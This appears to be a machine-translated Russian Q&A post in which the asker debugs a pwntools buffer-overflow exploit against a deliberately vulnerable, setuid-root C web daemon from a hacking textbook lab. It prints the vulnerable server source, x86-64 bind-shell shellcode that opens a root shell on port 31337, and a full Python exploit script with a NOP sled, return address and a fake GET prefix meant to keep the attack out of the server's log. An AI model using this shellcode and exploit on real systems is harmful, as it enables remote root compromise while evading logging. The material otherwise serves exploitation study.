Эксплойт Pwntools на демоне http веб-сервера не работает, когда он пытается отправить буфер, замаскированный под запрос http - PullRequest
0 голосов
/ 21 марта 2020

У меня проблема в том, что когда я подключаюсь к своему собственному демону http-сервера через remote в pwntools, чтобы использовать его, сервер устанавливает соединение только тогда, когда буфер, отправленный с помощью pwntools, не запускается с «GET / HTTP / 1.1 \ x00» , Я уже проверил, что сервер работает нормально, когда я запрашиваю у него веб-сайт с помощью моего браузера, и я также могу использовать его с переполнением буфера, но как только я пытаюсь скрыть попытку эксплойта в файлах журнала, запустив буфер с HTTP-запрос GET, завершенный нулевым байтом, журнал сервера сообщает, что не было даже соединения из сценария python. Я использую 64-битную Kali linux, и следующий код веб-сервера:

#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <time.h>
#include <signal.h>
#include "../c_programming/hacking.h"
#include "hacking_network.h"

#define PORT 80
#define WEBROOT "./webroot"
#define LOGFILE "/var/log/tinywebd.log"

int logfd, sockfd;
void handle_connection(int, struct sockaddr_in *, int);
int get_file_size(int);
void timestamp(int);

void handle_shutdown(int signal) {
  timestamp(logfd);
  write(logfd, "Shutting down.\n", 16);
  close(logfd);
  close(sockfd);
  exit(0);
}

int main(void) {
  int new_sockfd, yes=1;
  struct sockaddr_in host_addr, client_addr;
  socklen_t sin_size;

  logfd = open(LOGFILE, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);
  if (logfd == -1) {
    fatal("opening logfile");
  }

  if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
    fatal("in socket");

  if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1)
    fatal("in setsockopt to SO_REUSEADDR");

  printf("Starting tiny web daemon.\n");
  if (daemon(1, 0) == -1)
    fatal("forking to daemon process");

  signal(SIGTERM, handle_shutdown);
  signal(SIGINT, handle_shutdown);
  timestamp(logfd);
  write(logfd, "Starting up.\n", 15);

  host_addr.sin_family = AF_INET;
  host_addr.sin_port = htons(PORT);
  host_addr.sin_addr.s_addr = INADDR_ANY;
  memset(&(host_addr.sin_zero), '\0', 8);

  if (bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr)) == -1)
    fatal("in binding socket to port 80 of local host");

  if (listen(sockfd, 20) == -1)
    fatal("listening on socket");

  while (1) {
    sin_size = sizeof(struct sockaddr_in);
    new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);
    if (new_sockfd == -1) {
      fatal("accepting connection");
      write(logfd, "[!!] fatal in accepting connection\n", strlen("fatal in accepting connection\n"));
    }


    handle_connection(new_sockfd, &client_addr, logfd);
  }
  return 0;
}

void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) {
  unsigned char *ptr, request[500], resource[500], logbuffer[500];
  int fd, length;

  length = recv_line(sockfd, request);

  sprintf(logbuffer, "From: %s:%d \"%s\"\t", inet_ntoa(client_addr_ptr->sin_addr), ntohs(client_addr_ptr->sin_port), request);

  ptr = strstr(request, " HTTP/");
  if (ptr == NULL) {
    strcat(logbuffer, " NOT HTTP!\n");
  } else {
    *ptr = 0;
    ptr = NULL;
    if (strncmp(request, "GET ", 4) == 0)
      ptr = request+4;
    if (strncmp(request, "HEAD ", 5) == 0)
      ptr = request+5;

    if (ptr == NULL) {
      strcat(logbuffer, "\tUNKNOWN REQUEST!\n");
    } else {
      if (ptr[strlen(ptr) - 1] == '/')
        strcat(ptr, "index.html");
      strcpy(resource, WEBROOT);
      strcat(resource, ptr);
      fd = open(resource, O_RDONLY, 0);
      if (fd == -1) {
        strcat(logbuffer, " 404 Not Found\n");
        send_string(sockfd, "HTTP/1.0 200 OK\r\n\r\n");
        send_string(sockfd, "Server: Tiny webserver\r\n\r\n");
        send_string(sockfd, "<html><head><title>404 Not Found</title></head>");
        send_string(sockfd, "<body><h1>URL Not Found</h1></body></html>\r\n");
      } else {
        strcat(logbuffer, " 200 OK\n");
        send_string(sockfd, "HTTP/1.0 200 OK\r\n");
        send_string(sockfd, "Server: Tiny webserver\r\n\r\n");
        if (ptr == request+4) {
          if( (length = get_file_size(fd)) == -1)
            fatal("getting resource file size");
          if( (ptr = (unsigned char *) malloc(length)) == NULL)
            fatal("allocating memory for reading resource");
          read(fd, ptr, length);
          send(sockfd, ptr, length, 0);
          free(ptr);
        }
        close(fd);
      }
    }
  }
  timestamp(logfd);
  length = strlen(logbuffer);
  write(logfd, logbuffer, length);

  shutdown(sockfd, SHUT_RDWR);
}

int get_file_size(int fd) {
  struct stat stat_struct;

  if (fstat(fd, &stat_struct) == -1)
    return -1;
  return (int) stat_struct.st_size;
}

void timestamp(int fd) {
  time_t now;
  struct tm *time_struct;
  int length;
  char time_buffer[40];

  time(&now);
  time_struct = localtime((const time_t *)&now);
  length = strftime(time_buffer, 40, "%m/%d/%Y %H:%M:%S> ", time_struct);
  write(fd, time_buffer, length);
}

Обратите внимание, что в сети root у меня просто есть индекс html script. html ', который показывает веб-страница с изображением, также сохраненная в каталоге web root. Это файл 'hacking_network.h', из которого я использую функцию 'recv_line' для чтения данных из подключенного сокета:

/* This function accepts a socket FD and a ptr to the null terminated
 * string to send.  The function will make sure all the bytes of the
 * string are sent.  Returns 1 on success and 0 on failure.
 */
int send_string(int sockfd, unsigned char *buffer) {
   int sent_bytes, bytes_to_send;
   bytes_to_send = strlen(buffer);
   while(bytes_to_send > 0) {
      sent_bytes = send(sockfd, buffer, bytes_to_send, 0);
      if(sent_bytes == -1)
         return 0; // return 0 on send error
      bytes_to_send -= sent_bytes;
      buffer += sent_bytes;
   }
   return 1; // return 1 on success
}

/* This function accepts a socket FD and a ptr to a destination
 * buffer.  It will receive from the socket until the EOL byte
 * sequence in seen.  The EOL bytes are read from the socket, but
 * the destination buffer is terminated before these bytes.
 * Returns the size of the read line (without EOL bytes).
 */
int recv_line(int sockfd, unsigned char *dest_buffer) {
#define EOL "\r\n" // End-Of-Line byte sequence
#define EOL_SIZE 2
   unsigned char *ptr;
   int eol_matched = 0;

   ptr = dest_buffer;
   while(recv(sockfd, ptr, 1, 0) == 1) { // read a single byte
      if(*ptr == EOL[eol_matched]) { // does this byte match terminator
         eol_matched++;
         if(eol_matched == EOL_SIZE) { // if all bytes match terminator,
            *(ptr+1-EOL_SIZE) = '\0'; // terminate the string
            return strlen(dest_buffer); // return bytes recevied
         }
      } else {
         eol_matched = 0;
      }
      ptr++; // increment the pointer to the next byter;
   }
   return 0; // didn't find the end of line characters
}


/* Structure for Ethernet headers */
#define ETHER_ADDR_LEN 6
#define ETHER_HDR_LEN 14

struct ether_hdr {
   unsigned char ether_dest_addr[ETHER_ADDR_LEN]; // Destination MAC address
   unsigned char ether_src_addr[ETHER_ADDR_LEN];  // Source MAC address
   unsigned short ether_type; // Type of Ethernet packet
};

/* Structure for Internet Protocol (IP) headers */
struct ip_hdr {
   unsigned char ip_version_and_header_length; // version and header length combined
   unsigned char ip_tos;          // type of service
   unsigned short ip_len;         // total length
   unsigned short ip_id;          // identification number
   unsigned short ip_frag_offset; // fragment offset and flags
   unsigned char ip_ttl;          // time to live
   unsigned char ip_type;         // protocol type
   unsigned short ip_checksum;    // checksum
   struct in_addr ip_src_addr;      // source IP address
   struct in_addr ip_dest_addr;     // destination IP address
};

/* Structure for Transmission Control Protocol (TCP) headers */
struct tcp_hdr {
   unsigned short tcp_src_port;   // source TCP port
   unsigned short tcp_dest_port;  // destination TCP port
   unsigned int tcp_seq;          // TCP sequence number
   unsigned int tcp_ack;          // TCP acknowledgement number
   unsigned char reserved:4;      // 4-bits from the 6-bits of reserved space
   unsigned char tcp_offset:4;    // TCP data offset for little endian host
   unsigned char tcp_flags;       // TCP flags (and 2-bits from reserved space)
#define TCP_FIN   0x01
#define TCP_SYN   0x02
#define TCP_RST   0x04
#define TCP_PUSH  0x08
#define TCP_ACK   0x10
#define TCP_URG   0x20
   unsigned short tcp_window;     // TCP window size
   unsigned short tcp_checksum;   // TCP checksum
   unsigned short tcp_urgent;     // TCP urgent pointer
};

Я скомпилирую его, используя:

gcc -fno-stack-protector -z execstack -o http http.c
sudo chown root http
sudo chmod u+s http

Я использую этот шелл-код

\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x99\xb0\x75\x0f\x05\x6a\x29
\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x48\x97\x4d\x31\xd2\x41
\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89
\xe6\x6a\x10\x5a\xb0\x31\x0f\x05\x6a\x32\x58\x6a\x02\x5e\x0f\x05
\x48\x89\xe6\x6a\x10\x48\x89\xe2\xb0\x2b\x0f\x05\x48\x97\x6a\x03
\x5e\xb0\x21\xff\xce\x0f\x05\xe0\xf8\x6a\x3b\x58\x56\x48\xbb\x2f
\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x56\x48\x89\xe2\x57
\x48\x89\xe6\x0f\x05

, который будет привязан к порту 31337 на pwned машине, запускает оболочку root, а также перенаправляет stdin, stdout и stderr на соединение через порт 31337 в сочетании со следующим python script

from pwn import *
import struct
import sys

ip_start = -50

if len(sys.argv) < 3:
    print "Usage: %s <shellcode file> <target IP> <source IP (optional)>" % (sys.argv[0])
    sys.exit()

shellcode = str()
with open(sys.argv[1], 'r') as f:
    shellcode = f.read()

if len(sys.argv) > 3:
    shellcode = list(shellcode)
    ip_arr = (sys.argv[3]).split('.')
    for i in range(len(ip_arr)):
        off = i - len(ip_arr) + 1
        shellcode[ip_start+off] = chr(int(ip_arr[i]))
    shellcode = ''.join(shellcode)

target_ip = sys.argv[2]
FAKEREQUEST = "GET / HTTP/1.1\x00"
OFFSET = 552
RET = 0x7fffffffde30 + 200
print "Target ip: %s" % (target_ip)
print "Shellcode: %s (%d bytes)" % (shellcode, len(shellcode))
print "Fake request: \"%s\" (%d bytes)" % (FAKEREQUEST, len(FAKEREQUEST))


print "[Fake Request (%d bytes)] [NOP (%d bytes)] [shellcode (%d bytes)] [NOP 2 (%d bytes)] [ret addr (%d bytes)]" % (len(FAKEREQUEST), 300-len(FAKEREQUEST), len(shellcode), OFFSET-300-len(shellcode), 8)

buffer = ""
buffer += FAKEREQUEST + '\x90' * (300-len(FAKEREQUEST))
buffer += shellcode
buffer += '\x90' * (OFFSET-300-len(shellcode))
buffer += struct.pack("Q", RET)
buffer += "\r\n"
print buffer
p = remote(target_ip, 80);
p.send(buffer)

Сначала я запускаю двоичный файл 'http', а затем сценарий python. Наконец, я подключаюсь к порту 31337, который указан в шелл-коде на 127.0.0.1 с использованием netcat

./http
python exploit.py ./shellcode_file 127.0.0.1
nc 127.0.0.1 31337

Однако, когда я запускаю его, не помещая ложный запрос в начале, последняя команда netcat выдаст root ракушка. Это поведение можно проверить с помощью файла журнала, в котором показан буфер для всех попыток эксплойта без работающего перед ним запроса GET, но когда я использую его с запросом GET, демон http просто отключится без дополнительной информации в журнале. файл, кроме сообщения от запуска. Содержимое этого файла журнала выглядит так, когда я не использую GET перед буфером:

03/21/2020 07:54:30> Starting up.
03/21/2020 07:54:44> From: 127.0.0.1:57026 "������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������H1�H1�H1���uj)Xj_j^�H�M1�ARAR�$f�D$zi�D$��J�H��jZ�*j^�!����j;XVH�//bin/shSH��VH��WH�������������������������������������������������������������������������������������������������������������������."       NOT HTTP!

, и вот так, если я делаю:

03/21/2020 07:55:26> Starting up.

Почему эксплойт ведет себя так странный способ и как я могу это исправить, чтобы фактически эксплуатировать демон http, а также не иметь весь буфер, зарегистрированный в файле журнала, а просто невинно выглядящий запрос GET?

...